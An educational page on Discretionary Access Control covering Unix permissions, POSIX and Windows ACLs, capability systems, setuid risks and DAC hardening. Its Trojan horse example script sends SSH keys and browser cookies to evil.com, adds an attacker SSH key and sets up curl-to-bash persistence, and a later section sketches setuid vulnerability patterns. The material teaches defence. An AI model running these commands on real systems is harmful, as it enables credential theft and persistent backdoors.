Loading content...
When Dennis Ritchie and Ken Thompson designed Unix in the early 1970s, they created an access control model that would influence operating systems for decades: the resource owner decides who can access it.
This is Discretionary Access Control (DAC)—the "discretion" belongs to the resource owner. If you create a file, you decide its permissions. If you own a directory, you control access to its contents. The operating system enforces your decisions but doesn't impose its own policy.
DAC remains the dominant access control model in general-purpose operating systems. Every Unix derivative (Linux, macOS, BSD), Windows NTFS, and most file storage systems are fundamentally DAC-based. Understanding DAC deeply is essential because:
This page covers Unix traditional permissions, modern access control lists (ACLs), capability-based systems, and the security implications of discretionary control.
You'll master the Unix permission model (owner/group/other with rwx), understand POSIX ACLs and Windows DACLs for fine-grained control, explore capability systems as an alternative DAC paradigm, and critically analyze DAC's security limitations including the confused deputy and Trojan horse problems.
The Unix permission model is elegant in its simplicity. Every file and directory has:
The Nine Permission Bits
Owner Group Others
+-------+-------+-------+
| r w x | r w x | r w x |
+-------+-------+-------+
4 2 1 4 2 1 4 2 1
Each rwx triplet encodes:
The numeric mode (e.g., 755) represents the bits as octal: 7 = 111 (rwx), 5 = 101 (r-x).
12345678910111213141516171819202122232425262728293031323334353637
# Unix Permission Examples # View permissions with ls -l$ ls -l /etc/passwd /etc/shadow /usr/bin/passwd-rw-r--r-- 1 root root 2847 Jan 10 12:00 /etc/passwd-rw-r----- 1 root shadow 1501 Jan 10 12:00 /etc/shadow-rwsr-xr-x 1 root root 68736 Jan 10 12:00 /usr/bin/passwd # Breakdown of -rw-r--r--:# - = regular file (d for directory, l for symlink)# rw- = owner (root) can read and write# r-- = group (root) can read only# r-- = others can read only# Numeric: 644 # Breakdown of -rwsr-xr-x:# - = regular file# rws = owner can rwx, AND setuid bit is set (s instead of x)# r-x = group can read and execute# r-x = others can read and execute# Numeric: 4755 (4 = setuid) # Changing permissions$ chmod 750 myfile # rwxr-x---$ chmod u+x,g-w,o= myfile # Symbolic: add owner execute, remove group write, clear others$ chmod g+s directory # Setgid on directory # Changing ownership$ chown alice:developers myfile # Owner = alice, group = developers$ chown :developers myfile # Group only$ chown -R alice:developers dir/ # Recursive # Default permissions: umask$ umask0022 # Bits to REMOVE from default (666 for files, 777 for directories)# New file: 666 - 022 = 644 (rw-r--r--)# New dir: 777 - 022 = 755 (rwxr-xr-x)Directory Permissions — The Subtleties
Directory permissions have non-obvious semantics:
| Permission | Meaning for Directories |
|---|---|
| r (read) | Can list directory contents (ls) |
| w (write) | Can create, delete, rename files IN directory |
| x (execute) | Can traverse directory; access files if you know their names |
Critical implications:
This last point surprises many: if you have write permission on a directory, you can delete any file within it, regardless of the file's own permissions (unless the sticky bit is set).
The sticky bit (chmod +t or mode 1xxx) on a directory restricts deletion: only the file owner, directory owner, or root can delete files within it. This is essential for /tmp—without it, any user could delete any other user's temporary files. World-writable directories should almost always have the sticky bit.
Special Permission Bits
Three additional bits modify execution behavior:
Setuid (4xxx or u+s) When an executable with setuid is run, it executes with the file owner's privileges rather than the invoking user's.
Example: /usr/bin/passwd is owned by root with setuid. When Alice runs passwd, it runs as root, allowing it to modify /etc/shadow (which Alice cannot normally write).
Setgid (2xxx or g+s) On executables: runs with file's group privileges. On directories: new files inherit the directory's group (not the creator's primary group). Useful for shared project directories.
Sticky Bit (1xxx or +t) On directories: only owner can delete their own files (explained above).
Understanding exactly how the kernel checks permissions is crucial for debugging access issues and understanding security boundaries.
Process Credentials
Every process has credentials that determine its access:
Setuid/setgid programs temporarily change the effective UID/GID while preserving the real ID.
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647
// Simplified Linux VFS Permission Check (inode_permission) int check_permission(struct inode *inode, int mask, struct cred *cred) { uid_t uid = cred->euid; // Effective UID gid_t gid = cred->egid; // Effective GID // Step 0: Root bypass (CAP_DAC_OVERRIDE or CAP_DAC_READ_SEARCH) if (uid == 0) { // Root can read/write anything // Root can execute if ANY execute bit is set if (!(mask & MAY_EXEC) || (inode->i_mode & 0111)) { return 0; // Access granted } } // Step 1: Determine which permission set to use // Priority: owner > group > other (first match wins) umode_t mode; if (uid == inode->i_uid) { // Process owner matches file owner: use OWNER bits mode = (inode->i_mode >> 6) & 0x7; // Bits 8-6 } else if (in_group(gid, inode->i_gid, cred->supplementary_groups)) { // Process is in file's group: use GROUP bits mode = (inode->i_mode >> 3) & 0x7; // Bits 5-3 } else { // Neither owner nor in group: use OTHER bits mode = inode->i_mode & 0x7; // Bits 2-0 } // Step 2: Check if required permissions are present if ((mask & MAY_READ) && !(mode & 0x4)) return -EACCES; // Permission denied if ((mask & MAY_WRITE) && !(mode & 0x2)) return -EACCES; if ((mask & MAY_EXEC) && !(mode & 0x1)) return -EACCES; return 0; // Access granted} // Key insight: OWNER bits are checked FIRST.// If you're the owner but owner has no read permission (e.g., mode 044),// you CANNOT read the file, even though group and others can!// The "first match wins" rule can be counterintuitive.First-Match Semantics
Unix permission checking uses first-match semantics:
This means owner permissions can be MORE restrictive than group permissions!
Example:
-r--rwxrwx 1 alice developers ...
Alice (the owner) can only read. Members of developers group can read, write, execute. Everyone else can read, write, execute. Alice has LESS access than others!
This is occasionally intentional (protecting owner from accidental modification) but more often a misconfiguration.
When debugging 'permission denied' errors: (1) Check the entire path—you need 'x' on every directory component. (2) Check supplementary groups with 'id' command. (3) Remember owner permissions take precedence. (4) Check for ACLs with 'getfacl'. (5) Check for MAC (SELinux/AppArmor) denials in audit logs.
Path Resolution and Access
Accessing a file requires permissions at every step of the path:
/home/alice/project/src/main.c
To read main.c, you need:
A single missing 'x' anywhere in the chain blocks access, even if you own the target file.
Traditional Unix permissions only support one owner and one group. Real requirements often need more flexibility:
POSIX ACLs extend traditional permissions with arbitrary per-user and per-group entries.
ACL Entry Types
| Entry Type | Syntax | Description |
|---|---|---|
| owner | user::rwx | File owner's permissions (maps to owner bits) |
| named user | user:alice:rwx | Specific user |
| owning group | group::rwx | File's group (maps to group bits) |
| named group | group:devs:rwx | Specific group |
| mask | mask::rwx | Maximum permissions for named users/groups |
| other | other::rwx | Everyone else (maps to other bits) |
123456789101112131415161718192021222324252627282930313233343536373839404142
# POSIX ACL Examples # View ACLs$ getfacl document.txt# file: document.txt# owner: alice# group: staffuser::rw- # Owner permissionsuser:bob:rw- # Named user: bob can read/writegroup::r-- # Owning group permissionsgroup:auditors:r-- # Named group: auditors can readmask::rw- # Maximum for named entriesother::--- # Others: no access # Set ACLs$ setfacl -m user:charlie:r document.txt # Add named user$ setfacl -m group:managers:rw document.txt # Add named group$ setfacl -x user:bob document.txt # Remove entry$ setfacl -b document.txt # Remove all ACL entries # Default ACLs (for directories - inherited by new files)$ setfacl -d -m user:bob:rw project/ # Default for new files$ setfacl -d -m group:team:rx project/ $ getfacl project/# file: project/# owner: alice# group: teamuser::rwxgroup::r-xother::---default:user::rwx # Default ACLs shown with "default:" prefixdefault:user:bob:rw-default:group::r-xdefault:group:team:r-xdefault:mask::rwxdefault:other::--- # The + in ls -l indicates ACL presence$ ls -l document.txt-rw-rw----+ 1 alice staff 1234 Jan 10 12:00 document.txt# ^-- + means ACL is set (beyond traditional permissions)The Mask Entry
The ACL mask deserves special attention. It acts as a maximum permissions cap for all named user and named group entries.
If:
Then Bob effectively has only read permission. The mask limits what named entries can actually receive.
Why? The mask maps to the traditional group permission bits displayed by ls. This maintains backward compatibility—old tools that only understand traditional permissions see the effective maximum via the group bits.
ACL Algorithm
Permission checking with ACLs:
Default ACLs on directories define what new files inherit. But: (1) copying files may or may not preserve ACLs depending on tool; (2) editing files may recreate them without ACLs; (3) moving files across filesystems may lose ACLs. Always verify ACLs on sensitive files after operations.
Windows NTFS implements a more sophisticated DAC model than traditional Unix. Every securable object has a Security Descriptor containing:
Access Control Entries (ACEs)
The DACL contains ACEs, each specifying:
123456789101112131415161718192021222324252627282930313233343536373839404142434445
# Windows ACL Management # View ACL (requires appropriate permissions)> Get-Acl C:ProjectsDocument.txt | Format-List Path : Microsoft.PowerShell.CoreFileSystem::C:ProjectsDocument.txtOwner : CORPaliceGroup : CORPDomain UsersAccess : CORPalice Allow FullControl CORPob Allow Read, ReadAndExecute, Synchronize CORPDevelopers Allow Modify, Synchronize BUILTINAdministrators Allow FullControl # View detailed ACEs> (Get-Acl C:ProjectsDocument.txt).Access | Format-Table FileSystemRights AccessControlType IdentityReference IsInherited---------------- ----------------- ----------------- -----------FullControl Allow CORPalice FalseRead, Synchronize Allow CORPob FalseModify, Synchronize Allow CORPDevelopers TrueFullControl Allow BUILTINAdministrators True # Set ACL permissions> $acl = Get-Acl C:ProjectsDocument.txt # Add new ACE> $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( "CORPcharlie", # Identity "ReadAndExecute", # Rights "Allow" # Type)> $acl.AddAccessRule($rule)> Set-Acl -Path C:ProjectsDocument.txt -AclObject $acl # Remove ACE> $acl.RemoveAccessRule($rule) # Set owner> $acl.SetOwner([System.Security.Principal.NTAccount]"CORPewowner") # Inheritance# Files can inherit ACEs from parent folders# Explicit ACEs override inherited onesPermission Granularity
NTFS provides much finer-grained permissions than Unix:
| Permission | Description |
|---|---|
| Full Control | All permissions including change permissions and ownership |
| Modify | Read, write, execute, delete the object |
| Read & Execute | Read and execute, cannot modify |
| List Folder Contents | For directories: see contents |
| Read | View contents and attributes |
| Write | Create files, write data, modify attributes |
| Special Permissions | 14 individual permissions (traverse, delete, change permissions, etc.) |
Evaluation Order
Windows ACL evaluation differs from Unix:
The deny-first rule means a single deny entry overrides any number of allow entries. This enables patterns like "Everyone can read, except mallory" without removing mallory from Everyone.
| Aspect | Unix/POSIX | Windows NTFS |
|---|---|---|
| Basic Model | Owner/group/other + optional ACL | Full ACL on every object |
| Deny Entries | Not in traditional; ACL supports via mask | First-class citizens, evaluated first |
| Inheritance | Default ACLs on directories | Rich inheritance flags per ACE |
| Permission Granularity | rwx | 14+ individual permissions |
| Identity | UID/GID numbers | SIDs (globally unique) |
| Special Bits | setuid, setgid, sticky | Take Ownership, Change Permissions |
There's an alternative to the access matrix implementation we've seen. Instead of storing "who can access this object" (ACL, attached to object), we can store "what can this subject access" (capability list, attached to subject).
What is a Capability?
A capability is an unforgeable token that grants a specific right to a specific object. Think of it like a key: possession of the key grants access, regardless of identity.
Key properties:
Capabilities vs. ACLs
| Aspect | Access Control Lists | Capabilities |
|---|---|---|
| Storage | With object | With subject |
| Access Check | "Is this subject on the list?" | "Does subject have the token?" |
| Sharing | Modify object's ACL | Pass capability to another subject |
| Revocation | Modify ACL | Invalidate capability or use indirection |
| Ambient Authority | Subject identity grants rights | Only explicit capabilities grant rights |
12345678910111213141516171819202122232425262728293031323334353637383940414243
// Capability-Based Access Conceptual Model // A capability is a protected (subject, object, rights) triplestruct Capability { objectId: ObjectId, // The resource this grants access to rights: Set<Right>, // Permitted operations (read, write, etc.) // Additional: creation time, expiration, etc.} // Capabilities are unforgeable - only the kernel can create them// Stored in a per-process capability list (C-list)class Process { capabilityList: List<Capability>; // Operations receive capability index, not object reference function read(capIndex: int): Data { let cap = this.capabilityList[capIndex]; if (!cap.rights.contains(READ)) { throw AccessDenied; } return kernel.read(cap.objectId); } // Delegation: give capability to another process function delegate(capIndex: int, targetProcess: Process): void { let cap = this.capabilityList[capIndex]; // May apply restrictions (e.g., remove write right) targetProcess.capabilityList.append(cap.copy()); }} // Example: File sharing without ACL modification// Traditional ACL:// Alice wants Bob to edit document.txt// Alice modifies document.txt's ACL to add Bob// If later Alice wants to revoke: modify ACL again // Capability:// Alice has capability: (document.txt, {read, write})// Alice creates reduced capability: (document.txt, {read, write})// Alice delegates this capability to Bob// Bob can now access via his capability// Revocation: Alice invalidates the delegated capability (trickier)Unix File Descriptors as Capabilities
Unix file descriptors are a limited form of capability:
However, Unix also has ambient authority (access based on UID), so it's not a pure capability system.
Real Capability Systems
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051
// Capsicum Capability Mode Example (FreeBSD/Linux) #include <sys/capsicum.h>#include <fcntl.h>#include <stdio.h> int main() { // Open files BEFORE entering capability mode int input_fd = open("/etc/passwd", O_RDONLY); int output_fd = open("/tmp/output.txt", O_WRONLY | O_CREAT, 0644); if (input_fd < 0 || output_fd < 0) { perror("open"); return 1; } // Limit capabilities on these descriptors cap_rights_t input_rights, output_rights; cap_rights_init(&input_rights, CAP_READ, CAP_SEEK); cap_rights_init(&output_rights, CAP_WRITE); cap_rights_limit(input_fd, &input_rights); // input_fd can only read/seek cap_rights_limit(output_fd, &output_rights); // output_fd can only write // Enter capability mode - no more ambient authority! if (cap_enter() < 0) { perror("cap_enter"); return 1; } // From here, process can ONLY use capabilities it already has // open("/etc/shadow", O_RDONLY); // Would fail: ECAPMODE // socket(AF_INET, ...); // Would fail: ECAPMODE // Can still use the limited file descriptors char buf[1024]; ssize_t n; while ((n = read(input_fd, buf, sizeof(buf))) > 0) { write(output_fd, buf, n); } // write(input_fd, buf, n); // Would fail: CAP_READ doesn't include write return 0;} // Capsicum use case: sandboxing untrusted code// 1. Open all necessary resources// 2. Limit capabilities to minimum required// 3. Enter capability mode// 4. Even if exploited, attacker has no ambient authorityCapabilities naturally support POLA: instead of granting a process broad ambient authority and hoping it doesn't abuse it, you give exactly the capabilities needed. A PDF viewer receives capabilities for the PDF file and display, nothing more—even if compromised, it cannot access the network or other files.
Discretionary Access Control has fundamental security limitations that make it unsuitable for high-security requirements. Understanding these weaknesses is essential for securing DAC-based systems.
1. The Trojan Horse Problem
In DAC, if a user runs a malicious program, that program has all the user's privileges.
Scenario:
DAC cannot distinguish between "Alice doing work" and "a program Alice ran doing malicious things." The program acts with Alice's authority.
12345678910111213141516171819202122232425
#!/bin/bash# trojan_horse.sh - Looks legitimate, acts malicious # The visible functionalityecho "Compiling your project..."make all 2>/dev/null # The hidden payload - runs with user's full privileges# DAC permits all of this because it's "the user" doing it # Steal SSH keyscat ~/.ssh/id_rsa | base64 | curl -X POST -d @- https://evil.com/steal & # Steal browser cookies tar czf - ~/.config/google-chrome/Default/Cookies | curl -X POST -T - https://evil.com/steal & # Add backdoor SSH keyecho "ssh-rsa AAAA... attacker@evil.com" >> ~/.ssh/authorized_keys # Modify .bashrc to maintain persistenceecho 'curl -s https://evil.com/update.sh | bash &' >> ~/.bashrc # The user sees: "Compiling your project..."# DAC sees: Alice accessing Alice's files (permitted)# No violation of any DAC policy occurred!2. The Confused Deputy Problem
A "confused deputy" is a privileged program tricked into misusing its authority on behalf of a malicious user.
Scenario:
The program (deputy) was confused about which authority to use for which request.
Example: A web server with database access can be SQL-injected to extract data the web user shouldn't see. The server is the confused deputy.
3. No Control Over Information Flow
DAC controls access at decision points but not information flow after access.
Each individual operation was authorized; the policy violation is in the combination. DAC has no concept of confidentiality levels or information flow.
4. Delegation Cannot Be Controlled
In pure DAC, owners can freely grant access to anyone:
MAC solves this: even if Alice grants access, the security labels restrict Bob.
5. No Protection Against Root/Administrator
Root (Unix) or Administrator (Windows) bypasses all DAC checks. A single compromised privileged process has access to everything.
This is why defense in depth requires:
DAC provides useful access control for normal operations but cannot provide security guarantees. For systems requiring stronger assurance, layer MAC (SELinux, AppArmor), capabilities (Capsicum), or sandboxing (containers, seccomp) on top of DAC. DAC remains the foundation; additional mechanisms address its limitations.
The setuid mechanism allows controlled privilege escalation but introduces significant security risks.
Why Setuid Exists
Some operations require privileges that normal users shouldn't have directly:
Setuid programs are the traditional solution: the program runs with elevated privileges to perform the specific operation.
Setuid Security Concerns
Setuid programs are high-value attack targets:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455
// Common Setuid Vulnerabilities // 1. PATH-based attacks// Vulnerable setuid program:int main() { // Calls "mail" without full path system("mail root -s 'Notification' < /tmp/msg");}// Attack: Set PATH=/home/attacker, create /home/attacker/mail// that runs arbitrary commands as root // 2. IFS manipulation (old shells)// Attack: Set IFS=/ so "mail" becomes "m" "a" "i" "l" // 3. LD_PRELOAD attacks// Attack: LD_PRELOAD=/path/to/evil.so// Fortunately, modern systems ignore LD_PRELOAD for setuid // 4. Buffer overflow in setuid programvoid vulnerable_setuid() { char buffer[100]; gets(buffer); // User-controlled overflow -> arbitrary code as root} // 5. Race conditions (TOCTOU)void check_then_access(const char *filename) { if (access(filename, R_OK) == 0) { // Check as real user // Time-of-check... // ...race window... // ...attacker replaces file with symlink to /etc/shadow fd = open(filename, O_RDONLY); // Open as effective user (root) }} // 6. Symlink attacks in /tmpvoid vulnerable_temp() { // Setuid program creates /tmp/logfile // Attacker creates symlink: /tmp/logfile -> /etc/passwd // Program overwrites /etc/passwd FILE *f = fopen("/tmp/logfile", "w"); // Follows symlink!} // Defense: Drop privileges as early as possiblevoid secure_setuid_main() { // Save privileged operation for specific action int shadow_fd = open("/etc/shadow", O_RDONLY); // As root // Drop privileges permanently if (setuid(getuid()) != 0) { // Become the real user exit(1); } // Continue with minimal privileges // ...}Linux Capabilities: Decomposing Root
Modern Linux decomposes root's monolithic power into capabilities—fine-grained privileges that can be granted individually.
Instead of setuid to root, a program can have specific capabilities:
There are ~40 capabilities in modern Linux kernels.
1234567891011121314151617181920212223242526272829303132
# Linux Capabilities Example # View capabilities of a file$ getcap /usr/bin/ping/usr/bin/ping = cap_net_raw+ep # ep = effective, permitted# ping needs CAP_NET_RAW for raw sockets (ICMP)# Does NOT need full root access # Set capabilities (requires CAP_SETFCAP or root)$ sudo setcap 'cap_net_bind_service=+ep' /usr/local/bin/mywebserver# Now mywebserver can bind to port 80 without running as root # View process capabilities$ cat /proc/self/status | grep CapCapInh: 0000000000000000 # InheritableCapPrm: 0000000000000000 # PermittedCapEff: 0000000000000000 # EffectiveCapBnd: 000001ffffffffff # Bounding setCapAmb: 0000000000000000 # Ambient # Decode capabilities$ capsh --decode=000001ffffffffff0x000001ffffffffff=cap_chown,cap_dac_override,... # Drop all capabilities except needed ones (in code)# #include <sys/capability.h># cap_t caps = cap_init();# cap_set_flag(caps, CAP_PERMITTED, 1, &cap_net_bind, CAP_SET);# cap_set_flag(caps, CAP_EFFECTIVE, 1, &cap_net_bind, CAP_SET);# cap_set_proc(caps);When possible, grant specific capabilities instead of using setuid root. A web server with cap_net_bind_service can bind to port 80 but cannot read /etc/shadow, modify system files, or load kernel modules. The blast radius of a vulnerability is vastly reduced.
While DAC has fundamental limitations, proper configuration significantly reduces risk.
Principle of Least Privilege
Grant minimum permissions required:
find / -perm -002 -type f — these are high riskfind / -perm /6000 — minimize and verify eachchmod +t /tmp — prevents file deletion attackschmod 750 /home/* — no world accesschmod 600 ~/.ssh/id_rsa — private keys must not be world-readable12345678910111213141516171819202122232425262728293031323334353637383940
#!/bin/bash# DAC Hardening Script # Set restrictive umaskecho "umask 027" >> /etc/profile # Protect /etcchmod 755 /etcchmod 644 /etc/passwdchmod 640 /etc/shadowchown root:shadow /etc/shadow # Restrict cron directorieschmod 700 /etc/cron.d /etc/cron.daily /etc/cron.hourly # Remove world-write from /tmp (keep sticky bit)chmod 1777 /tmp # Find and audit setuid binariesecho "=== SETUID BINARIES ==="find /usr -perm /4000 -type f -exec ls -la {} \; # Remove unnecessary setuid bitschmod u-s /usr/bin/newgrp # If not neededchmod u-s /usr/bin/write # If not needed # Find world-writable directories (excluding /tmp, /var/tmp)echo "=== WORLD-WRITABLE DIRS ==="find / -type d -perm -002 ! -path "/tmp/*" ! -path "/var/tmp/*" 2>/dev/null # Find files with no owner (orphaned)echo "=== ORPHANED FILES ==="find / -nouser -o -nogroup 2>/dev/null # Set immutable attribute on critical files (requires root)chattr +i /etc/passwd /etc/shadow /etc/group # Audit file capabilitiesecho "=== FILE CAPABILITIES ==="getcap -r / 2>/dev/nullDefense in Depth
Since DAC alone cannot provide strong security:
A well-secured Linux server typically combines: DAC (base permissions), MAC (SELinux in enforcing mode), capabilities (no unnecessary setuid), seccomp (syscall filtering), namespaces (container isolation), and audit (comprehensive logging). Each layer addresses different attack vectors.
Discretionary Access Control is the foundation of access control in general-purpose operating systems. Let's consolidate the key concepts.
DAC in Perspective
DAC provides practical, usable access control for everyday operations. Its weaknesses are acceptable for many environments when combined with:
For high-security requirements, DAC must be augmented with MAC, capabilities, and sandboxing.
What's Next
This page covered DAC in depth. The final page explores:
You now have comprehensive knowledge of Discretionary Access Control—from Unix permissions through ACLs, Windows security descriptors, capability systems, and the fundamental security limitations of discretionary models. You can configure, audit, and harden DAC systems while understanding their boundaries.